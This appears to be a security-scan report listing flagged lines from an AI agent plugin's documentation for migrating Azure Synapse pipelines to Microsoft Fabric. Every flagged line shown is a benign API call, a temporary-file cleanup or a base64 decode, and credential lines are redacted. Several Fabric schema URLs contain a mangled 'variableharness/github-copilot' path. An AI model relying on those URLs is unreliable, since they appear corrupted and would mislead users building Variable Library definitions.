| Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` | - Network accessline 102
| List all datasets | `GET https://{ws}.dev.azuresynapse.net/datasets?api-version=2020-12-01` | - Network accessline 103
| Get dataset definition | `GET https://{ws}.dev.azuresynapse.net/datasets/{name}?api-version=2020-12-01` | - Network accessline 104
| List all linked services | `GET https://{ws}.dev.azuresynapse.net/linkedservices?api-version=2020-12-01` | - Network accessline 105
| Get linked service | `GET https://{ws}.dev.azuresynapse.net/linkedservices/{name}?api-version=2020-12-01` | - Network accessline 106
| Get workspace (global parameters) | `GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}?api-version=2021-06-01` | - Network accessline 110
| Operation | Endpoint | |---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` | - Network accessline 111
|---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` | | Create connection | `POST https://api.fabric.microsoft.com/v1/connections` | - Network accessline 112
| List connections | `GET https://api.fabric.microsoft.com/v1/connections` | - Network accessline 113
| Create connection | `POST https://api.fabric.microsoft.com/v1/connections` | - Network accessline 114
| Create pipeline item | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` | - Network accessline 115
| Update pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/updateDefinition` | - Network accessline 116
| Get pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/getDefinition` | - Network accessline 117
| Create Variable Library | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` (type: `VariableLibrary`) | - Network accessline 118
| List notebooks in workspace | `GET https://api.fabric.microsoft.com/v1/workspaces/{wsId}/notebooks` |
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/activity-mapping.md
- Network accessline 256
"type": "WebActivity", "typeProperties": { "url": "https://api.example.com/data", - Network accessline 257
"typeProperties": { "url": "https://api.example.com/data", "method": "POST", - Network accessline 258
"url": "https://api.example.com/data", - Network accessline 267
"authentication": { "type": "MSI", "resource": "https://management.azure.com/" - Network accessline 268
"type": "MSI", "resource": "https://management.azure.com/" } - Network accessline 269
"resource": "https://management.azure.com/" - Network accessline 318
"authentication": { "type": "MSI", "resource": "https://vault.azure.net" - Network accessline 319
"type": "MSI", "resource": "https://vault.azure.net" } - Network accessline 320
"resource": "https://vault.azure.net"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/dataset-inlining.md
- Network accessline 26
[Credential-related source omitted] - Network accessline 27
SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net" - Network accessline 32
items = [] while url: r = requests.get(url, headers=headers) - Network accessline 33
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 34
r = requests.get(url, headers=headers)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/global-parameters-to-variable-library.md
- Network accessline 45
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Network accessline 46
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 47
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WORKSPACE}?api-version=2021-06-01" \ - Network accessline 86
{ "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 87
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 122
{ "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 123
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 131
{ "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Network accessline 132
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Network accessline 219
return { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 220
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#", - Network accessline 226
"""Build a value set from variables definition (copies default values).""" return { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#" - Network accessline 227
return { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", "name": name, - Network accessline 228
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Network accessline 258
settings_content = { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 259
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#", - Network accessline 293
r = requests.post( - Network accessline 294
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items", - Network accessline 314
if location: if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" - Network accessline 315
if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 316
location = f"https://api.fabric.microsoft.com{location}" fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT) fetched.raise_for_status() - Network accessline 317
fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 329
operation_id = r.headers.get("x-ms-operation-id") if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 330
if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" if not op_url: - Network accessline 331
op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 333
raise RuntimeError("202 response with no LRO URL header") # Resolve relative LRO URLs (e.g. "/v1/operations/...") against the # Fabric base so requests.get() receives a valid absolute URL, - Network accessline 334
# Resolve relative LRO URLs (e.g. "/v1/operations/...") against the # Fabric base so requests.get() receives a valid absolute URL, # matching the normalization used in pipeline-orchestrator.md. - Network accessline 335
# Fabric base so requests.get() receives a valid absolute URL, - Network accessline 336
# matching the normalization used in pipeline-orchestrator.md. if op_url.startswith("/"): op_url = f"https://api.fabric.microsoft.com{op_url}" - Network accessline 337
if op_url.startswith("/"): op_url = f"https://api.fabric.microsoft.com{op_url}" import time - Network accessline 338
op_url = f"https://api.fabric.microsoft.com{op_url}" - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 344
[Credential-related source omitted] - Network accessline 349
sleep_s = float(retry_after) if retry_after else base_poll_interval time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 350
time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT) poll.raise_for_status() - Network accessline 351
poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 366
if resource_loc: if resource_loc.startswith("/"): resource_loc = f"https://api.fabric.microsoft.com{resource_loc}" - Network accessline 367
if resource_loc.startswith("/"): resource_loc = f"https://api.fabric.microsoft.com{resource_loc}" created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 368
resource_loc = f"https://api.fabric.microsoft.com{resource_loc}" created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT) created.raise_for_status() - Network accessline 369
created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 488
prod_value_set = { "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#", - Network accessline 489
"schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/linked-service-to-connection.md
- Network accessline 68
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Network accessline 69
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Network accessline 70
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 78
POST https://api.fabric.microsoft.com/v1/connections - Network accessline 81
Connection creation requires `connectivityType`, `displayName`, `connectionDetails` (with `type`, `creationMethod`, and `parameters`), and `credentialDetails` (with `credentials` nested inside). Connector identity comes from `connectionDeta - Network accessline 88
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Network accessline 89
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Network accessline 90
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 116
> **Payload shape (critical):** Per the [Create Connection REST API](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection), the body has **no top-level `connectorId` field**. Connector identity comes from `co - Network accessline 121
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 122
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Network accessline 123
--url "https://api.fabric.microsoft.com/v1/connections" \ - Access to secretsline 162
[Credential-related source omitted] - Dangerous shell operationline 165
> rm /tmp/conn_body.json - Access to secretsline 170
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 180
[Credential-related source omitted] - Network accessline 207
[Credential-related source omitted] - Network accessline 208
SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net" - Network accessline 213
items = [] while url: r = requests.get(url, headers=headers) - Network accessline 214
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 215
r = requests.get(url, headers=headers) - Network accessline 248
> **Convention note (display name vs GUID)**: This skill standardizes on the connection **display name** in pipeline activity `linkedService.referenceName` blocks. The canonical Copy-activity alternative is to reference the connection **GUI - Network accessline 264
Use the values (GUIDs) only for Fabric API calls that require a connection ID. """ url = "https://api.fabric.microsoft.com/v1/connections" - Network accessline 265
""" url = "https://api.fabric.microsoft.com/v1/connections" connections = {} - Network accessline 266
url = "https://api.fabric.microsoft.com/v1/connections" - Network accessline 267
connections = {} while url: r = requests.get(url, headers=headers) - Network accessline 268
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 269
r = requests.get(url, headers=headers) - Network accessline 277
# breaks pagination on workspaces with > 1 page of connections. url = ( f"https://api.fabric.microsoft.com/v1/connections" - Network accessline 278
url = ( f"https://api.fabric.microsoft.com/v1/connections" f"?continuationToken={quote(cont, safe='')}" - Network accessline 279
f"https://api.fabric.microsoft.com/v1/connections"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/migration-report.md
- Network accessline 9
| Item | URL Pattern | |---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | - Network accessline 10
|---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | | Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` | - Network accessline 11
| DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | - Network accessline 12
| Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` | - Network accessline 13
| Variable Library | `https://app.fabric.microsoft.com/groups/{workspaceId}/variablelibraries/{itemId}` | - Network accessline 14
| Workspace | `https://app.fabric.microsoft.com/groups/{workspaceId}` | - Network accessline 68
def fabric_url(self) -> Optional[str]: if self.fabric_pipeline_id and self.fabric_workspace_id: return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}" - Network accessline 69
if self.fabric_pipeline_id and self.fabric_workspace_id: return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}" f"/datapipelines/{self.fabric_pipeline_id}") - Network accessline 70
return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}" - Network accessline 177
workspace_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}" - Network accessline 200
if variable_library_id: vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}" - Network accessline 201
vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}" - Network accessline 389
**Source**: Synapse workspace `mysynapse` **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...) - Network accessline 390
**Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...) - Network accessline 404
Global parameters migrated to: [aaaa-...](https://app.fabric.microsoft.com/groups/.../variablelibraries/aaaa-...)
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/notebook-activity-migration.md
- Network accessline 259
[Credential-related source omitted] - Access to secretsline 259
[Credential-related source omitted] - Network accessline 260
[Credential-related source omitted] - Access to secretsline 260
[Credential-related source omitted] - Network accessline 261
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \ - Network accessline 268
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Network accessline 269
[Credential-related source omitted] - Access to secretsline 269
[Credential-related source omitted] - Network accessline 270
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \ - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 283
[Credential-related source omitted] - Network accessline 287
[Credential-related source omitted] - Network accessline 288
[Credential-related source omitted] - Network accessline 289
url = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks" - Network accessline 290
notebooks = {} while url: r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 291
while url: r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT) r.raise_for_status() - Network accessline 292
r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT) - Network accessline 300
# the raw token into the query string breaks pagination. url = ( f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks" - Network accessline 301
url = ( f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks" f"?continuationToken={quote(cont, safe='')}" - Network accessline 302
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-assessment.md
- Network accessline 32
> **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Network accessline 186
items = [] while url: r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT) - Network accessline 187
while url: r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT) r.raise_for_status() - Network accessline 188
r = requests.get(url, headers=headers, timeout=HTTP_TIMEOUT) - Network accessline 197
"""Fetch Synapse workspace global parameters via ARM.""" url = ( f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 198
url = ( f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" f"/providers/Microsoft.Synapse/workspaces/{ws_name}?api-version=2021-06-01" - Network accessline 199
f"https://management.azure.com/subscriptions/{sub_id}/resourceGroups/{rg}" - Network accessline 200
[Credential-related source omitted] - Network accessline 201
[Credential-related source omitted] - Network accessline 202
[Credential-related source omitted] - Network accessline 330
ls_classifications """ dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net" - Network accessline 332
dp_base = f"https://{synapse_workspace_name}.dev.azuresynapse.net" - Network accessline 369
# The /pipelines list endpoint returns stubs without properties.activities. # Fetch the full definition so walk_activities sees the real activity tree. r = requests.get( - Network accessline 370
# Fetch the full definition so walk_activities sees the real activity tree. r = requests.get( f"{dp_base}/pipelines/{pl_name}?api-version=2020-12-01", - Network accessline 371
r = requests.get( - Network accessline 723
[Credential-related source omitted] - Network accessline 724
[Credential-related source omitted]
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-gotchas.md
- Network accessline 75
**Resolution**: 1. Install the **on-premises data gateway** on the same machine or network as the SHIR - Download: https://aka.ms/odg/download - Network accessline 76
1. Install the **on-premises data gateway** on the same machine or network as the SHIR - Download: https://aka.ms/odg/download - Register under the same tenant as the Fabric workspace - Network accessline 77
- Download: https://aka.ms/odg/download - Network accessline 114
[Credential-related source omitted] - Network accessline 115
[Credential-related source omitted] - Network accessline 116
base = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines" - Network accessline 117
items, url = [], base while url: r = requests.get(url, headers=headers) - Network accessline 118
while url: r = requests.get(url, headers=headers) r.raise_for_status() - Network accessline 119
r = requests.get(url, headers=headers) - Network accessline 162
"authentication": { "type": "MSI", "resource": "https://vault.azure.net" - Network accessline 163
"type": "MSI", "resource": "https://vault.azure.net" } - Network accessline 164
"resource": "https://vault.azure.net" - Network accessline 241
"type": "WebActivity", "typeProperties": { "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01", - Network accessline 242
"typeProperties": { "url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01", "method": "POST", - Network accessline 243
"url": "https://management.azure.com/subscriptions/.../factories/<adf>/pipelines/<pipeline>/createRun?api-version=2018-06-01", - Network accessline 244
"method": "POST", "authentication": { "type": "MSI", "resource": "https://management.azure.com/" }, "body": { "runDate": "@pipeline().parameters.runDate" } - Network accessline 245
"authentication": { "type": "MSI", "resource": "https://management.azure.com/" }, - Network accessline 267
"url": "https://<vault-name>.vault.azure.net/secrets/databricks-token?api-version=7.4", "method": "GET", "authentication": { "type": "MSI", "resource": "https://vault.azure.net" } - Network accessline 268
"method": "GET", "authentication": { "type": "MSI", "resource": "https://vault.azure.net" } } - Network accessline 269
"authentication": { "type": "MSI", "resource": "https://vault.azure.net" }
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/pipeline-orchestrator.md
- Network accessline 35
> **Synapse Studio URL shortcut**: If the user provides a URL like `https://web.azuresynapse.net/en/home?workspace=%2Fsubscriptions%2F{subId}%2FresourceGroups%2F{rg}%2Fproviders%2FMicrosoft.Synapse%2Fworkspaces%2F{wsName}`, extract all thre - Network accessline 97
[Credential-related source omitted] - Network accessline 98
[Credential-related source omitted] - Network accessline 99
[Credential-related source omitted] - Network accessline 103
SYNAPSE_BASE = f"https://{SYNAPSE_WS}.dev.azuresynapse.net" - Network accessline 104
FABRIC_BASE = "https://api.fabric.microsoft.com/v1" - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 115
def synapse_get(path): r = requests.get(f"{SYNAPSE_BASE}{path}", - Network accessline 116
r = requests.get(f"{SYNAPSE_BASE}{path}", - Network accessline 128
items, url = [], f"{SYNAPSE_BASE}{path}" while url: r = requests.get(url, - Network accessline 129
[Credential-related source omitted] - Network accessline 130
r = requests.get(url, - Network accessline 139
def fabric_get(path): r = requests.get(f"{FABRIC_BASE}{path}", - Network accessline 140
r = requests.get(f"{FABRIC_BASE}{path}", - Network accessline 158
[Credential-related source omitted] - Network accessline 159
[Credential-related source omitted] - Network accessline 160
[Credential-related source omitted] - Network accessline 169
def fabric_post(path, body): r = requests.post(f"{FABRIC_BASE}{path}", - Network accessline 170
r = requests.post(f"{FABRIC_BASE}{path}", - Network accessline 189
# Resolve relative URLs against the Fabric base. if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" - Network accessline 190
if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" fetched = requests.get(location, - Network accessline 191
[Credential-related source omitted] - Network accessline 192
fetched = requests.get(location, - Network accessline 205
r.headers.get("Location") or r.headers.get("Operation-Location") or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}" - Network accessline 206
or r.headers.get("Operation-Location") or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}" if "x-ms-operation-id" in r.headers else None) - Network accessline 207
or (f"https://api.fabric.microsoft.com/v1/operations/{r.headers['x-ms-operation-id']}" - Network accessline 214
# matching the 200/201 path above. if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" - Network accessline 215
if location.startswith("/"): location = f"https://api.fabric.microsoft.com{location}" max_polls = int(os.environ.get("FABRIC_LRO_MAX_POLLS", 150)) # default ~5 min at 2 s base - Network accessline 216
location = f"https://api.fabric.microsoft.com{location}" - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 224
time.sleep(float(initial_retry) if initial_retry else base_sleep) for _ in range(max_polls): poll = requests.get(location, - Network accessline 225
[Credential-related source omitted] - Network accessline 226
poll = requests.get(location, - Network accessline 238
if resource_url: if resource_url.startswith("/"): resource_url = f"https://api.fabric.microsoft.com{resource_url}" - Network accessline 239
if resource_url.startswith("/"): resource_url = f"https://api.fabric.microsoft.com{resource_url}" item = requests.get(resource_url, - Network accessline 240
[Credential-related source omitted] - Network accessline 241
item = requests.get(resource_url, - Network accessline 557
}) pid = resp.get("id", "unknown") url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}" - Network accessline 558
pid = resp.get("id", "unknown") url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}" print(f" [OK] Created: {name} (id: {pid})") - Network accessline 559
url = f"https://app.fabric.microsoft.com/groups/{FABRIC_WS_ID}/datapipelines/{pid}" - Network accessline 574
| Value | Derived From | |---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 575
|---|---| | Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | | Fabric workspace ID | `GET /v1/workspaces` → JMESPath filter by `displayName` | - Network accessline 576
| Synapse data-plane endpoint | `https://{workspaceName}.dev.azuresynapse.net` | - Network accessline 640
[Credential-related source omitted] - Network accessline 641
[Credential-related source omitted] - Network accessline 642
--resource https://dev.azuresynapse.net \ - Network accessline 645
[Credential-related source omitted] - Network accessline 646
[Credential-related source omitted] - Network accessline 647
--resource https://management.azure.com \ - Network accessline 650
[Credential-related source omitted] - Network accessline 651
[Credential-related source omitted] - Network accessline 652
--resource https://api.fabric.microsoft.com \ - Network accessline 655
SYNAPSE_WS="mysynapseworkspace" SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net" - Network accessline 656
SYNAPSE_ENDPOINT="https://${SYNAPSE_WS}.dev.azuresynapse.net" - Access to secretsline 667
[Credential-related source omitted] - Access to secretsline 668
[Credential-related source omitted] - Access to secretsline 677
[Credential-related source omitted] - Access to secretsline 678
[Credential-related source omitted] - Access to secretsline 687
[Credential-related source omitted] - Access to secretsline 688
[Credential-related source omitted] - Access to secretsline 697
[Credential-related source omitted] - Access to secretsline 698
[Credential-related source omitted] - Network accessline 710
[Credential-related source omitted] - Access to secretsline 710
[Credential-related source omitted] - Network accessline 711
[Credential-related source omitted] - Access to secretsline 711
[Credential-related source omitted] - Network accessline 712
--url "https://management.azure.com/subscriptions/${SUB_ID}/resourceGroups/${RG}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WS}?api-version=2021-06-01" \ - Network accessline 763
[Credential-related source omitted] - Access to secretsline 763
[Credential-related source omitted] - Network accessline 764
[Credential-related source omitted] - Access to secretsline 764
[Credential-related source omitted] - Network accessline 765
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \ - Network accessline 852
response = requests.post( - Network accessline 853
f"https://api.fabric.microsoft.com/v1/workspaces/{FABRIC_WS_ID}/items", - Network accessline 890
[Credential-related source omitted] - Access to secretsline 890
[Credential-related source omitted] - Network accessline 891
[Credential-related source omitted] - Access to secretsline 891
[Credential-related source omitted] - Network accessline 892
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/updateDefinition" \ - Network accessline 914
[Credential-related source omitted] - Network accessline 915
SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net" - Network accessline 919
items = [] while url: r = requests.get(url, headers=headers, timeout=60) - Network accessline 920
while url: r = requests.get(url, headers=headers, timeout=60) r.raise_for_status() - Network accessline 921
r = requests.get(url, headers=headers, timeout=60) - Network accessline 941
# The list endpoint returns stubs — properties.activities is often omitted. # Fetch each pipeline definition to get the real activity list. r = requests.get( - Network accessline 942
# Fetch each pipeline definition to get the real activity list. r = requests.get( f"{SYNAPSE_ENDPOINT}/pipelines/{name}?api-version=2020-12-01", - Network accessline 943
r = requests.get( - Network accessline 993
[Credential-related source omitted] - Network accessline 994
[Credential-related source omitted] - Network accessline 995
[Credential-related source omitted] - Network accessline 1003
[Credential-related source omitted] - Network accessline 1004
[Credential-related source omitted] - Network accessline 1005
[Credential-related source omitted]
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/validation-testing.md
- Network accessline 29
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 31
--url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/items/${PIPELINE_ITEM_ID}/getDefinition" - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Network accessline 58
# Start getDefinition r = requests.post( - Network accessline 59
r = requests.post( - Network accessline 60
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items/{pipeline_item_id}/getDefinition", - Network accessline 84
operation_id = r.headers.get("x-ms-operation-id") if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 85
if not op_url and operation_id: op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" if not op_url: - Network accessline 86
op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}" - Network accessline 98
# Some Fabric endpoints return a relative Location/Operation-Location # (e.g. "/v1/operations/..."). Resolve against the Fabric base before # polling so requests.get() receives a valid absolute URL. - Network accessline 99
# (e.g. "/v1/operations/..."). Resolve against the Fabric base before # polling so requests.get() receives a valid absolute URL. if op_url.startswith("/"): - Network accessline 100
# polling so requests.get() receives a valid absolute URL. - Network accessline 102
op_url = f"https://api.fabric.microsoft.com{op_url}" - Network accessline 108
sleep_s = float(retry_after) if retry_after else base_poll_interval time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=http_timeout) - Network accessline 109
time.sleep(sleep_s) poll = requests.get(op_url, headers=headers, timeout=http_timeout) poll.raise_for_status() - Network accessline 110
poll = requests.get(op_url, headers=headers, timeout=http_timeout) - Network accessline 117
if result_url: if result_url.startswith("/"): result_url = f"https://api.fabric.microsoft.com{result_url}" - Network accessline 118
if result_url.startswith("/"): result_url = f"https://api.fabric.microsoft.com{result_url}" # Fetch and validate the resourceLocation payload defensively: - Network accessline 119
result_url = f"https://api.fabric.microsoft.com{result_url}" # Fetch and validate the resourceLocation payload defensively: # raise on 4xx/5xx, and guard r.json() on an empty 200 body so - Network accessline 121
# raise on 4xx/5xx, and guard r.json() on an empty 200 body so # the success path can't fail with a confusing ValueError. result_resp = requests.get(result_url, headers=headers, timeout=http_timeout) - Network accessline 122
# the success path can't fail with a confusing ValueError. result_resp = requests.get(result_url, headers=headers, timeout=http_timeout) result_resp.raise_for_status() - Network accessline 123
result_resp = requests.get(result_url, headers=headers, timeout=http_timeout) - Possible obfuscationline 174
return json.loads(base64.b64decode(payload).decode()) - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 230
r = requests.post( - Network accessline 231
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances?jobType=Pipeline", - Network accessline 253
while time.time() < deadline: r = requests.get( - Network accessline 254
r = requests.get( - Network accessline 255
f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/datapipelines/{pipeline_item_id}/jobs/instances/{job_instance_id}",
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/README.md
- Network accessline 34
This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/agents/power-bi-visualization-expert.agent.md
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 7
